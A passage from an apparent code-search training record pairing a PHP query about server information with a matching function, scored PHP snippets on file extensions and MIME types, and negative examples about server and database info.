getAcceptExtensions();", "public function getExt()\n {\n $filename = $this->getPath(); \n return pathinfo($filename, PATHINFO_EXTENSION);\n }", "public static function loadedExtensions()\n {\n $list = [];\n foreach( get_loaded_extensions() as $ext )\n {\n $ext = strtolower( trim( $ext ) );\n $list[ $ext ] = $ext;\n }\n ksort( $list );\n return $list;\n }", "public function fileExtensions($mimeType);", "public function getExtension()\n\t{\n\t\treturn pathinfo($this->path, PATHINFO_EXTENSION);\n\t}", "private function getExtensions($zend = false)\n {\n $data = array();\n $extensions = get_loaded_extensions($zend);\n foreach ($extensions as $extension) {\n $data[$extension] = phpversion($extension);\n }\n\n return $data;\n }", "public function getExtensions(): array;", "public static function getExtensions(){\n return \\Illuminate\\View\\Compilers\\BladeCompiler::getExtensions();\n }", "private function getAllowedFileTypes()\n {\n return str_replace('.', '', config('media.allowed', ''));\n }", "function getExtension() ;", "public function getValidExtensions();", "public function getAllowedExtensions()\n {\n return array('md', 'markdown');\n }", "protected function getAcceptedExtensions(): array\n {\n return array_keys($this->getConfigResolverAdapters());\n }", "public function getPhpExtensions($zendExtensions = false)\n {\n return get_loaded_extensions($zendExtensions);\n }", "public function getExtension()\n {\n return pathinfo($this->name, PATHINFO_EXTENSION);\n }", "public function extension($filePath);", "public function getExtension()\r\n {\r\n return pathinfo($this->filename, PATHINFO_EXTENSION);\r\n }", "public function extension()\n {\n return pathinfo($this->path_filename, PATHINFO_EXTENSION);\n }", "public function supported_filetypes() {\n return '*';\n }", "public function getExtension(): string\n {\n return pathinfo($this->getFilename(), PATHINFO_EXTENSION);\n }", "public function getPhpExtensionsConfig() {\n\t\treturn $this->_getConfigValueArrayMultiple('PHPextensions');\n\t}", "public static function mimeTypeExtensions ()\r\n\t{\r\n\t\t# Define the MIME Types; list taken from www.mimetype.org\r\n\t\t$mimeTypes = '\r\n\t\tapplication/SLA\tstl\r\n\t\tapplication/STEP\tstep\r\n\t\tapplication/STEP\tstp\r\n\t\tapplication/acad\tdwg\r\n\t\tapplication/andrew-inset\tez\r\n\t\tapplication/clariscad\tccad\r\n\t\tapplication/drafting\tdrw\r\n\t\tapplication/dsptype\ttsp\r\n\t\tapplication/dxf\tdxf\r\n\t\tapplication/excel\txls\r\n\t\tapplication/i-deas\tunv\r\n\t\tapplication/java-archive\tjar\r\n\t\tapplication/mac-binhex40\thqx\r\n\t\tapplication/mac-compactpro\tcpt\r\n\t\tapplication/vnd.ms-powerpoint\tpot\r\n\t\tapplication/vnd.ms-powerpoint\tpps\r\n\t\tapplication/vnd.ms-powerpoint\tppt\r\n\t\tapplication/vnd.ms-powerpoint\tppz\r\n\t\tapplication/msword\tdoc\r\n\t\tapplication/octet-stream\tbin\r\n\t\tapplication/octet-stream\tclass\r\n\t\tapplication/octet-stream\tdms\r\n\t\tapplication/octet-stream\texe\r\n\t\tapplication/octet-stream\tlha\r\n\t\tapplication/octet-stream\tlzh\r\n\t\tapplication/oda\toda\r\n\t\tapplication/ogg\togg\r\n\t\tapplication/ogg\togm\r\n\t\tapplication/pdf\tpdf\r\n\t\tapplication/pgp\tpgp\r\n\t\tapplication/postscript\tai\r\n\t\tapplication/postscript\teps\r\n\t\tapplication/postscript\tps\r\n\t\tapplication/pro_eng\tprt\r\n\t\tapplication/rtf\trtf\r\n\t\tapplication/set\tset\r\n\t\tapplication/smil\tsmi\r\n\t\tapplication/smil\tsmil\r\n\t\tapplication/solids\tsol\r\n\t\tapplication/vda\tvda\r\n\t\tapplication/vnd.mif\tmif\r\n\t\tapplication/vnd.ms-excel\txlc\r\n\t\tapplication/vnd.ms-excel\txll\r\n\t\tapplication/vnd.ms-excel\txlm\r\n\t\tapplication/vnd.ms-excel\txls\r\n\t\tapplication/vnd.ms-excel\txlw\r\n\t\tapplication/vnd.rim.cod\tcod\r\n\t\tapplication/x-arj-compressed\tarj\r\n\t\tapplication/x-bcpio\tbcpio\r\n\t\tapplication/x-cdlink\tvcd\r\n\t\tapplication/x-chess-pgn\tpgn\r\n\t\tapplication/x-cpio\tcpio\r\n\t\tapplication/x-csh\tcsh\r\n\t\tapplication/x-debian-package\tdeb\r\n\t\tapplication/x-director\tdcr\r\n\t\tapplication/x-director\tdir\r\n\t\tapplication/x-director\tdxr\r\n\t\tapplication/x-dvi\tdvi\r\n\t\tapplication/x-freelance\tpre\r\n\t\tapplication/x-futuresplash\tspl\r\n\t\tapplication/x-gtar\tgtar\r\n\t\tapplication/x-gunzip\tgz\r\n\t\tapplication/x-gzip\tgz\r\n\t\tapplication/x-hdf\thdf\r\n\t\tapplication/x-ipix\tipx\r\n\t\tapplication/x-ipscript\tips\r\n\t\tapplication/x-javascript\tjs\r\n\t\tapplication/x-koan\tskd\r\n\t\tapplication/x-koan\tskm\r\n\t\tapplication/x-koan\tskp\r\n\t\tapplication/x-koan\tskt\r\n\t\tapplication/x-latex\tlatex\r\n\t\tapplication/x-lisp\tlsp\r\n\t\tapplication/x-lotusscreencam\tscm\r\n\t\tapplication/x-mif\tmif\r\n\t\tapplication/x-msdos-program\tbat\r\n\t\tapplication/x-msdos-program\tcom\r\n\t\tapplication/x-msdos-program\texe\r\n\t\tapplication/x-netcdf\tcdf\r\n\t\tapplication/x-netcdf\tnc\r\n\t\tapplication/x-perl\tpl\r\n\t\tapplication/x-perl\tpm\r\n\t\tapplication/x-rar-compressed\trar\r\n\t\tapplication/x-sh\tsh\r\n\t\tapplication/x-shar\tshar\r\n\t\tapplication/x-shockwave-flash\tswf\r\n\t\tapplication/x-stuffit\tsit\r\n\t\tapplication/x-sv4cpio\tsv4cpio\r\n\t\tapplication/x-sv4crc\tsv4crc\r\n\t\tapplication/x-tar-gz\ttar.gz\r\n\t\tapplication/x-tar-gz\ttgz\r\n\t\tapplication/x-tar\ttar\r\n\t\tapplication/x-tcl\ttcl\r\n\t\tapplication/x-tex\ttex\r\n\t\tapplication/x-texinfo\ttexi\r\n\t\tapplication/x-texinfo\ttexinfo\r\n\t\tapplication/x-troff-man\tman\r\n\t\tapplication/x-troff-me\tme\r\n\t\tapplication/x-troff-ms\tms\r\n\t\tapplication/x-troff\troff\r\n\t\tapplication/x-troff\tt\r\n\t\tapplication/x-troff\ttr\r\n\t\tapplication/x-ustar\tustar\r\n\t\tapplication/x-wais-source\tsrc\r\n\t\tapplication/x-zip-compressed\tzip\r\n\t\tapplication/zip\tzip\r\n\t\taudio/TSP-audio\ttsi\r\n\t\taudio/basic\tau\r\n\t\taudio/basic\tsnd\r\n\t\taudio/midi\tkar\r\n\t\taudio/midi\tmid\r\n\t\taudio/midi\tmidi\r\n\t\taudio/mpeg\tmp2\r\n\t\taudio/mpeg\tmp3\r\n\t\taudio/mpeg\tmpga\r\n\t\taudio/ulaw\tau\r\n\t\taudio/x-aiff\taif\r\n\t\taudio/x-aiff\taifc\r\n\t\taudio/x-aiff\taiff\r\n\t\taudio/x-mpegurl\tm3u\r\n\t\taudio/x-ms-wax\twax\r\n\t\taudio/x-ms-wma\twma\r\n\t\taudio/x-pn-realaudio-plugin\trpm\r\n\t\taudio/x-pn-realaudio\tram\r\n\t\taudio/x-pn-realaudio\trm\r\n\t\taudio/x-realaudio\tra\r\n\t\taudio/x-wav\twav\r\n\t\tchemical/x-pdb\tpdb\r\n\t\tchemical/x-pdb\txyz\r\n\t\timage/cmu-raster\tras\r\n\t\timage/gif\tgif\r\n\t\timage/ief\tief\r\n\t\timage/jpeg\tjpe\r\n\t\timage/jpeg\tjpeg\r\n\t\timage/jpeg\tjpg\r\n\t\timage/png\tpng\r\n\t\timage/tiff\ttif tiff\r\n\t\timage/tiff\ttif\r\n\t\timage/tiff\ttiff\r\n\t\timage/x-cmu-raster\tras\r\n\t\timage/x-portable-anymap\tpnm\r\n\t\timage/x-portable-bitmap\tpbm\r\n\t\timage/x-portable-graymap\tpgm\r\n\t\timage/x-portable-pixmap\tppm\r\n\t\timage/x-rgb\trgb\r\n\t\timage/x-xbitmap\txbm\r\n\t\timage/x-xpixmap\txpm\r\n\t\timage/x-xwindowdump\txwd\r\n\t\tmodel/iges\tiges\r\n\t\tmodel/iges\tigs\r\n\t\tmodel/mesh\tmesh\r\n\t\tmodel/mesh\tmsh\r\n\t\tmodel/mesh\tsilo\r\n\t\tmodel/vrml\tvrml\r\n\t\tmodel/vrml\twrl\r\n\t\ttext/css\tcss\r\n\t\ttext/html\thtm\r\n\t\ttext/html\thtml htm\r\n\t\ttext/html\thtml\r\n\t\ttext/plain\tasc txt\r\n\t\ttext/plain\tasc\r\n\t\ttext/plain\tc\r\n\t\ttext/plain\tcc\r\n\t\ttext/plain\tf90\r\n\t\ttext/plain\tf\r\n\t\ttext/plain\th\r\n\t\ttext/plain\thh\r\n\t\ttext/plain\tm\r\n\t\ttext/plain\ttxt\r\n\t\ttext/richtext\trtx\r\n\t\ttext/rtf\trtf\r\n\t\ttext/sgml\tsgm\r\n\t\ttext/sgml\tsgml\r\n\t\ttext/tab-separated-values\ttsv\r\n\t\ttext/vnd.sun.j2me.app-descriptor\tjad\r\n\t\ttext/x-setext\tetx\r\n\t\ttext/xml\txml// This is disabled because XML has several different MIME Types\r\n\t\tvideo/dl\tdl\r\n\t\tvideo/fli\tfli\r\n\t\tvideo/flv\tflv\r\n\t\tvideo/gl\tgl\r\n\t\tvideo/mpeg\tmp2\r\n\t\tvideo/mpeg\tmpe\r\n\t\tvideo/mpeg\tmpeg\r\n\t\tvideo/mpeg\tmpg\r\n\t\tvideo/quicktime\tmov\r\n\t\tvideo/quicktime\tqt\r\n\t\tvideo/vnd.vivo\tviv\r\n\t\tvideo/vnd.vivo\tvivo\r\n\t\tvideo/x-fli\tfli\r\n\t\tvideo/x-ms-asf\tasf\r\n\t\tvideo/x-ms-asx\tasx\r\n\t\tvideo/x-ms-wmv\twmv\r\n\t\tvideo/x-ms-wmx\twmx\r\n\t\tvideo/x-ms-wvx\twvx\r\n\t\tvideo/x-msvideo\tavi\r\n\t\tvideo/x-sgi-movie\tmovie\r\n\t\twww/mime\tmime\r\n\t\tx-conference/x-cooltalk\tice\r\n\t\tx-world/x-vrml\tvrm\r\n\t\tx-world/x-vrml\tvrml';\r\n\t\t\r\n\t\t# Parse the list as array ($extension => $mimeType, ... )\r\n\t\t$list = array ();\r\n\t\t$mimeTypes = explode (\"\\n\", trim ($mimeTypes));\r\n\t\tforeach ($mimeTypes as $index => $line) {\r\n\t\t\tlist ($mimeType, $extension) = explode (\"\\t\", trim ($line), 2);\r\n\t\t\tif (substr_count ($extension, ' ')) {continue;}\t// Limit of 2 for some extensions in the source listing have two listed, e.g. \"asc txt\"\r\n\t\t\t$list[$extension] = $mimeType;\r\n\t\t}\r\n\t\t\r\n\t\t# Return the list\r\n\t\treturn $list;\r\n\t}", "public static function extension($_path)\r\n {\r\n return pathinfo($_path, PATHINFO_EXTENSION);\r\n }", "public function listExtensions()\n {\n $result = [];\n foreach ($this->extensionClassNames as $className) {\n $result[] = $this->getExtension($className);\n }\n\n usort($result, function($a, $b) {\n if ($a->getExtensionSortOrder() >= $b->getExtensionSortOrder()) {\n return 1;\n }\n\n return -1;\n });\n\n return $result;\n }", "public function getExt(): string\n {\n return (string)$this->env['EXT'];\n }", "static function getImageExtensions()\n {\n return array('jpg', 'jpeg', 'gif', 'png', );\n }", "function get_displayable_file_types() {\n return array( \n 'ada',\n 'adb',\n 'adp',\n 'ads',\n 'ans',\n 'as',\n 'asc',\n 'asm',\n 'asp',\n 'aspx',\n 'atom',\n 'au3',\n 'bas',\n 'bat',\n 'bmax',\n 'bml',\n 'c',\n 'cbl',\n 'cc',\n 'cfm',\n 'cgi',\n 'cls',\n 'cmd',\n 'cob',\n 'cpp',\n 'cs',\n 'css',\n 'csv',\n 'cxx',\n 'd',\n 'dif',\n 'dist',\n 'dtd',\n 'e',\n 'efs',\n 'egg',\n 'egt',\n 'f',\n 'f77',\n 'for',\n 'frm',\n 'frx',\n 'ftn',\n 'ged',\n 'gitattributes',\n 'gitignore',\n 'gm6',\n 'gmd',\n 'gml',\n 'h',\n 'hpp',\n 'hs',\n 'hta',\n 'htaccess',\n 'htm',\n 'html',\n 'hxx',\n 'ici',\n 'ictl',\n 'ihtml',\n 'inc',\n 'inf',\n 'info',\n 'ini',\n 'install',\n 'java',\n 'js',\n 'jsfl',\n 'json',\n 'l',\n 'las',\n 'lasso',\n 'lassoapp',\n 'less',\n 'log',\n 'lua',\n 'm',\n 'm4',\n 'makefile',\n 'manifest',\n 'md',\n 'met',\n 'metalink',\n 'ml',\n 'module',\n 'mrc',\n 'n',\n 'ncf',\n 'nfo',\n 'nut',\n 'p',\n 'pas',\n 'php',\n 'php3',\n 'php4',\n 'php5',\n 'phps',\n 'phtml',\n 'piv',\n 'pl',\n 'pm',\n 'pp',\n 'properties',\n 'ps1',\n 'ps1xml',\n 'psc1',\n 'psd1',\n 'psm1',\n 'py',\n 'pyc',\n 'pyi',\n 'rb',\n 'rdf',\n 'resx',\n 'rss',\n 's',\n 'scm',\n 'scpt',\n 'sh',\n 'shtml',\n 'spin',\n 'sql',\n 'ss',\n 'stk',\n 'svg',\n 'tab',\n 'tcl',\n 'tpl',\n 'txt',\n 'vb',\n 'vbp',\n 'vbs',\n 'xht',\n 'xhtml',\n 'xml',\n 'xsl',\n 'xslt',\n 'xul',\n 'y',\n 'yml'\n );\n }", "function fn_get_ext_mime_types($key = 'ext')\n{\n $types = array (\n 'zip' => 'application/zip',\n 'tgz' => 'application/tgz',\n 'rar' => 'application/rar',\n\n 'exe' => 'application/exe',\n 'com' => 'application/com',\n 'bat' => 'application/bat',\n\n 'png' => 'image/png',\n 'jpeg' => 'image/jpeg',\n 'jpg' => 'image/jpeg',\n 'gif' => 'image/gif',\n 'bmp' => 'image/bmp',\n 'ico' => 'image/x-icon',\n 'swf' => 'application/x-shockwave-flash',\n\n 'csv' => 'text/csv',\n 'txt' => 'text/plain',\n 'xml' => 'application/xml',\n 'doc' => 'application/msword',\n 'xls' => 'application/vnd.ms-excel',\n 'ppt' => 'application/vnd.ms-powerpoint',\n 'pdf' => 'application/pdf',\n\n 'css' => 'text/css',\n 'js' => 'text/javascript'\n );\n\n if ($key == 'mime') {\n $types = array_flip($types);\n }\n\n return $types;\n}", "protected function getAllExtensionNames()\n {\n $extensionNames = $this->getMageBridge()->_module_()->getAllExtensionNames();\n return is_array($extensionNames) ? $extensionNames : array();\n }", "public function getFileExtension()\n\t{\n\t\treturn $this->fileExtension;\n\t}", "static public function getAllowedMimeTypes()\n\t{\n\t\t$result = [];\n\t\t\n\t\tforeach(DB::table('dx_files_headers')->select('content_type')->get() as $row)\n\t\t{\n\t\t\t$result[] = $row->content_type;\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "public function getExt()\n {\n $type = $this->getType();\n if ($type === 'style') {\n return 'css';\n } elseif ($type === 'script') {\n return 'js';\n } elseif ($type === 'image') {\n return pathinfo($this->getSourcePath(), PATHINFO_EXTENSION);\n }\n }", "public function getFileExtension(): string\n {\n return $this->fileExtension;\n }", "public function extensions();", "public function getExtension()\n {\n return $this->fileExtension;\n }", "public function getFileExtension()\n {\n return $this->fileExtension;\n }", "public function getFileExtension()\n {\n return $this->fileExtension;\n }", "public function getFileExtension()\n {\n return $this->_fileExtension;\n }", "public function get_test_php_extensions()\n {\n }", "public function getExtension();", "public function getExtension();", "public function getExtension();", "public function getAvailableExtensions() {}", "public function extensions(): array\n {\n return collect($this->extensions)\n ->filter(fn (bool $enabled) => $enabled)\n ->keys()\n ->mapWithKeys(fn (string $extension) => [\n $extension => $this->meta(\"extensions.$extension.view\") ?? ('seo::extensions.' . $extension),\n ])\n ->toArray();\n }", "public function getSupportedMimeTypes()\n {\n return array_keys($this->convertersByMimeType);\n }", "public static function getScriptExtension(): string {\n return '.php';\n }", "public function getExtension() : string\n {\n return pathinfo($this->name, PATHINFO_EXTENSION);\n }", "public function getExtensionsAsArray() {\n if($this->mode == 'serial') {\n return $this->getSerialExtensionsAsArray();\n }\n else {\n return $this->getParallelExtensionsAsArray();\n }\n }", "public static function getAllExtensions():array;", "public static function getExtensions($mime)\n {\n if (isset(static::$mimes[$mime])) {\n return (array) static::$mimes[$mime];\n }\n return null;\n }", "function fileTypes($extension){\r\n $fileTypes['pdf'] = 'application/pdf';\r\n \r\n $fileTypes['zip'] = 'application/zip';\r\n $fileTypes['doc'] = 'application/msword';\r\n $fileTypes['rar'] = 'application/rar';\r\n\r\n \r\n return $fileTypes[$extention];\r\n }", "public function getExtension()\n {\n return $this->file['extension'];\n }", "public function getFileTypes() {\r\n return $this->fileTypes;\r\n }", "public function getFileTypes()\n {\n return $this->fileTypes;\n }", "public function getExtension(): string\n {\n return pathinfo($this->getRelativePath(), PATHINFO_EXTENSION);\n }", "public function ext()\n {\n if (!$this->info) {\n $this->info();\n }\n if (isset($this->info['extension'])) {\n return $this->info['extension'];\n }\n\n return false;\n }", "function file_ext($file) {\n return strtolower(pathinfo($file, PATHINFO_EXTENSION));\n }", "public function getAllowedFileExtensions($post_id=null){\n if(empty($post_id) && !isset($_POST['comment_post_ID'])){\n global $post;\n if(isset($post) && is_object($post)){\n $post_id = $post->ID; \n }else{\n return;\n }\n }\n\n $return = array();\n $pluginFileTypes = $this->getMimeTypes();\n\n if(isset($_POST['comment_post_ID'])){\n $assignment_id = $_POST['comment_post_ID'];\n }\n \n if(empty($assignment_id)){\n $assignment_id = $post_id;\n }\n $attachment_type=get_post_meta($assignment_id,'vibe_attachment_type',true);\n if(is_array($attachment_type) && in_array('JPG',$attachment_type)){\n $attachment_type[]='JPEG';\n }\n if(empty($attachment_type)){\n $attachment_type=array('JPEG');\n }\n return $attachment_type;\n }" ]
[ "0.75095266", "0.7450413", "0.7387379", "0.73495805", "0.72481513", "0.7211943", "0.7183596", "0.7134137", "0.7134137", "0.7122811", "0.70979065", "0.7062294", "0.7054121", "0.7054121", "0.70047903", "0.69241256", "0.69082946", "0.6902633", "0.68864197", "0.6818086", "0.68168354", "0.6795593", "0.6765817", "0.6764719", "0.66949874", "0.6691254", "0.663636", "0.6595003", "0.6570836", "0.6554775", "0.6551335", "0.6539882", "0.6538644", "0.65299344", "0.6523153", "0.6523153", "0.6523153", "0.6523153", "0.6506819", "0.6501655", "0.6501446", "0.64981335", "0.6481349", "0.64679205", "0.645236", "0.6452122", "0.6434115", "0.6431821", "0.64303625", "0.6406025", "0.63800716", "0.6357253", "0.63516134", "0.6329584", "0.6327103", "0.63231766", "0.6322119", "0.6310042", "0.6304507", "0.6300632", "0.6271172", "0.62673557", "0.6245838", "0.6231074", "0.6229631", "0.6225594", "0.62155837", "0.620976", "0.6199415", "0.6193184", "0.61928433", "0.6190974", "0.6190199", "0.6187378", "0.618601", "0.6185767", "0.6175555", "0.61745715", "0.61745715", "0.6170683", "0.61689353", "0.6167612", "0.6167612", "0.6167612", "0.6163846", "0.61625135", "0.6157059", "0.61534715", "0.6151264", "0.61408937", "0.61320394", "0.6131538", "0.61264676", "0.6121192", "0.61202675", "0.6118709", "0.61157745", "0.6112818", "0.6108417", "0.6102663" ]
0.80703557
0
Returns basic information about the running server.
public static function getServerInfo() { $pname = explode(':', stream_socket_get_name(MHTTPD::$listener, false)); $info = array( MHTTPD::$config['Server']['address'], $pname[0], // address $pname[1], // port MHTTPD::$config['SSL']['enabled'], ); return $info; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getServerInfo()\n {\n return $this->sendServerCommand(\"serverinfo\");\n }", "function serverInfo() {\n\t}", "function ServerInfo() {}", "public function getInfo()\n {\n return $this->getServer()->getInfo();\n }", "public function getServerInfo() {\n\t\treturn $this->getServerVersion();\n\t}", "function getServerInfo();", "public function GetServerInfo()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->server_info; \r\n }", "public function getServerInfo(){\n return mysql_get_server_info($this->connection);\n }", "function getServerInfo() {\n $serverInfo = mysql_get_server_info();\n return $serverInfo;\n }", "public static function serverDetails()\n {\n return [\n 'base' => $_SERVER['SERVER_ADDR'],\n 'ip' => $_SERVER['REMOTE_ADDR'],\n 'port' => $_SERVER['REMOTE_PORT'],\n 'request_url' => $_SERVER['REQUEST_URI'],\n 'user agent' => $_SERVER['HTTP_USER_AGENT'],\n ];\n }", "public function info()\n {\n return $this->send('info');\n }", "public static function getServerStatusInfo()\n\t{\n\t\treturn array(\n\t\t\tMHTTPD::getSoftwareInfo(),\n\t\t\tdate('r', MHTTPD::$info['launched']),\n\t\t\tMHTTPD::getStatCount('up', true),\n\t\t\tMHTTPD::getStatCount('down', true),\n\t\t\tMHTTPD::getClientsSummary(),\n\t\t\tMFCGI::getScoreboard(true),\n\t\t\tMHTTPD::getAbortedSummary(),\n\t\t\tMHTTPD::getHandlers(true),\n\t\t\tMHTTPD::getSignature(),\n\t\t);\n\t}", "private function info() {\n $this->client->info();\n }", "public function db_server_info()\n {\n }", "public function getGlobalHostInfo()\n {\n return $this->sendServerCommand(\"hostinfo\");\n }", "public function server()\r\n {\r\n return $this->server;\r\n }", "private function get_server()\n {\n }", "private function get_server()\n\t{\n\t\treturn $this->m_server;\n\t}", "public function getinfo()\n\t{\n\t\treturn $this->connect('getinfo');\n\t}", "function getServerName() {\n\n\t\t$this->client->query('GetServerName');\n\t\t$this->server->name = $this->client->getResponse();\n\t\treturn $this->server->name;\n\t}", "protected function getServerInfo()\n {\n $stackTrace = debug_backtrace();\n\n $file = $this->getCalledFile($stackTrace);\n $line = $this->getCalledLine($stackTrace);\n\n return [\n 'file' => $file,\n 'line' => $line,\n 'server' => ! empty($_SERVER) ? json_encode($_SERVER) : null,\n 'post' => ! empty($_POST) ? json_encode($_POST) : null,\n 'get' => ! empty($_GET) ? json_encode($_GET) : null,\n 'files' => ! empty($_FILES) ? json_encode($_FILES) : null,\n 'cookies' => ! empty($_COOKIE) ? json_encode($_COOKIE) : null,\n 'session' => ! empty($_SESSION) ? json_encode($_SESSION) : null,\n 'environment' => ! empty($_ENV) ? json_encode($_ENV) : null\n ];\n }", "public function getServer()\r\n {\r\n return $this->Server;\r\n }", "private function Get_Server() {\n\t\treturn $this->task->getServer();\n\t\t//return $GLOBALS['server'];\n\t}", "public function getServer()\n {\n return $this->server;\n }", "function get_connect_info()\n {\n $this->server = $this->service->server($this->lastsvr);\n printf(\"Build completion percentage: \");\n while ($this->server->accessIPv4 == '' || $this->server->accessIPv6 == '') {\n printf(\".%d.\", $this->server->progress);\n sleep(10);\n $this->server = $this->service->server($this->lastsvr);\n }\n printf(\"\\n\");\n printf(\"Connect info for server %s:\\n\", $this->server->id);\n printf(\"IP: %s (IPv4) or %s (IPv6)\\n\", $this->server->accessIPv4, $this->server->accessIPv6);\n printf(\"Admin password: %s\\n\", $this->serverpw[$this->lastsvr]);\n }", "public function get_info()\n {\n return $this->_request('getinfo');\n }", "public function getInfo() {\r\n\t\t$response = $this->Client->execute('show version');\r\n\t\treturn $response;\r\n\t}", "public static function info() {\n return self::instance()->getClient()->get('api/status/info');\n }", "public function getServer()\n\t\t{\n\t\t\treturn $this->server;\n\t\t}", "public function getServer()\n\t{\n\t\treturn $this->server;\n\t}", "public function getServer()\n\t{\n\t\treturn $this->server;\n\t}", "public static function info()\n {\n $database = Config::get('database.database');\n $host = Config::get('database.host');\n $username = Config::get('database.username');\n //\n return \"\\n\\n-- Database : $database\\n-- Host : $host\\n-- User : $username\\n\";\n }", "function database_get_server_info()\n {\n\t return ( function_exists('mysql_get_server_info') ? mysql_get_server_info($this->database_connection) : FALSE );\n\t}", "public static function getServer()\n : \\stdClass\n {\n return static::$_server;\n }", "public function getServerName()\n {\n return $this->get(self::_SERVER_NAME);\n }", "public function getServerInfo($server) {\n $query = \"SELECT * FROM `$this->table` WHERE server = '$server'\";\n\n return $this->sendQuery($query);\n }", "public function getServerInfoCount()\n {\n return $this->count(self::_SERVER_INFO);\n }", "public function getServer() {\n\t\treturn $this->mServer;\n\t}", "public function GetServer()\n {\n // phpcs:enable PSR1.Methods.CamelCapsMethodName.NotCamelCaps\n return $this->_my_server;\n }", "public function GetServerStatus()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->stat();\r\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getServerName()\n {\n return $_SERVER['SERVER_NAME'];\n }", "public function info();", "public function info();", "public function getServersInfo() {\n $info = array();\n\n foreach ($this->getServers() as $server) {\n $info[] = $this->getServerInfo($server);\n }\n\n return $info;\n }", "public function getInstanceInfo()\n {\n return $this->get(self::_INSTANCE_INFO);\n }", "public function ms_info_callback() {\n\n\t\t//echo $_SERVER['REMOTE_PORT'];\n\t\techo 'User Agent: ' . $_SERVER['HTTP_USER_AGENT'] . \"</p>\";\n\t\techo 'Server Name: ' . $_SERVER['SERVER_NAME'] . '</p>';\n\t\techo \"Server Software: \".$_SERVER['SERVER_SOFTWARE'] . \"</p>\";\n\t\t$current_date = 'Server time and date: ' . date('H:i:s, m/d/Y') . \"\\n\\n\";\n\t\techo \"$current_date </p>\";\n\t\techo 'Number of Sites in the Network: '. get_blog_count() . '</p>';\n\t\techo 'Current Version of WordPress: ' . get_bloginfo('version') . '</p>';\n\t\techo 'Host Name: ' . gethostname() . '</p>';\n\t\tswitch_to_blog(1);\n\t\t$site_title = get_bloginfo( 'name' );\n\t\t$site_url = network_site_url( '/' );\n\t\t$site_description = get_bloginfo( 'description' );\n\t\trestore_current_blog();\n\t\techo 'The Network Home URL is: ' . $site_url . '</p>';\n\t\techo 'The Network Home Name is: ' . $site_title . '</p>';\n\t\techo 'The Network Home Tagline is: ' . $site_description . '</p>';\n\t\techo 'Page loaded in ' . date(\"s\", $_SERVER['REQUEST_TIME_FLOAT']) . ' Seconds</p>';\n\t\techo get_num_queries() .' queries in '. timer_stop(1) .' seconds.';\n\t}", "public function info()\n {\n return $this->query($this->userEndpoint);\n }", "function rest_get_server()\n {\n }", "public function getVersion() {\n return mysql_get_server_info();\n }", "public function getInfo()\n\t{\n\t\treturn curl_getinfo($this->s);\n\t}", "public function getData()\n {\n \tprint_r($_SERVER);\n }", "public static function server_dev() {\n\t\treturn SERVER_DEV;\n\t}", "public function show(Server $server)\n {\n //\n }", "public function infoAction() {\n return phpinfo();\n }", "function statistics_client_info() {\n $n_users = db_query(\"SELECT count(uid) FROM {users}\")->fetchField();\n $software = $_SERVER['SERVER_SOFTWARE'];\n $phpversion = phpversion();\n $class = 'DatabaseTasks_' . Database::getConnection()->driver();\n $tasks = new $class();\n $dbname = '';\n $dbversion = '';\n $dbname = $tasks->name();\n $dbversion = Database::getConnection()->version();\n return array(\n 'client_version' => '0.01',\n 'time' => date('l jS \\of F Y h:i:s A'),\n 'drupal_version' => VERSION,\n 'web_server' => $software,\n 'php' => $phpversion,\n 'db' => $dbname . $dbversion,\n 'n_users' => $n_users,\n 'modules' => module_list(),\n );\n}", "static private function ServerState() {\n $status = exec('illarionctl status');\n if (strpos($status, 'ONLINE') === FALSE) {\n\t\t\tself::$serverstatus = 1;\n\t\t} else {\n\t\t\tself::$serverstatus = 0;\n\t\t}\n\n $status = exec('testctl status');\n\t\tif (strpos($status, 'ONLINE') === FALSE) {\n\t\t\tself::$testserverstatus = 1;\n\t\t} else {\n\t\t\tself::$testserverstatus = 0;\n\t\t}\n\n\t\tself::$debugger = 0;\n\t}", "public function info()\n {\n return curl_getinfo($this->_session);\n }", "public function show()\n {\n return phpinfo();\n }", "public function getInfo()\n {\n return php_uname();\n }", "static public function getServerStatus() {\n\t\treturn (int)self::$serverstatus;\n\t}", "public function getInfo()\n {\n return curl_getinfo($this->_handle);\n }", "function getServerName() {\n\t\treturn $this->getParam(self::PARAM_SERVER_NAME);\n\t}", "public function getServerParams()\n {\n return $_SERVER;\n }", "public function getServerName()\n {\n return $this->getRequest()->getServerName();\n }", "static public function grabWebserverInfos() {\n global $CFG_GLPI;\n\n $headers = false;\n $engine = '';\n $version = '';\n\n // check if host is present (do no throw php warning in contrary of get_headers)\n if (filter_var(gethostbyname(parse_url($CFG_GLPI['url_base'], PHP_URL_HOST)),\n FILTER_VALIDATE_IP)) {\n\n // Issue #3180 - disable SSL certificate validation (wildcard, self-signed)\n stream_context_set_default([\n 'ssl' => [\n 'verify_peer' => false,\n 'verify_peer_name' => false,\n ]\n ]);\n\n $headers = get_headers($CFG_GLPI['url_base']);\n }\n\n if (is_array($headers)) {\n //BEGIN EXTRACTING SERVER DETAILS\n $pattern = '#^Server:*#i';\n $matches = preg_grep($pattern, $headers);\n\n if (count($matches)) {\n $infos = current($matches);\n $pattern = '#Server: ([^ ]+)/([^ ]+)#i';\n preg_match($pattern, $infos, $srv_infos);\n if (count($srv_infos) == 3) {\n $engine = $srv_infos[1];\n $version = $srv_infos[2];\n }\n }\n }\n\n $server = [\n 'engine' => $engine,\n 'version' => $version\n ];\n\n return $server;\n }", "public function getVersion(){\n return mysqli_get_server_info( $this->resourceId );\n }", "public function GetHostInfo()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->host_info;\r\n }", "static function Name()\n {\n return self::Variable('SERVER_NAME');\n }", "public function getServerInfo($server) {\n $managerFactory = $this->getManagerFactory();\n\n try { // Try to open to the correction\n $manager = $managerFactory($server['addr']);\n $server['up'] = true;\n }\n catch (\\Exception $e) {\n $server['error'] = $this->serverErrorHandler($e, $server['name'], self::MANAGER_ERROR_CONNECT);\n $server['up'] = false;\n }\n\n if ($server['up']) {\n try { // Get info from the server.\n $server['version'] = $manager->version();\n $server['workers'] = $manager->workers();\n 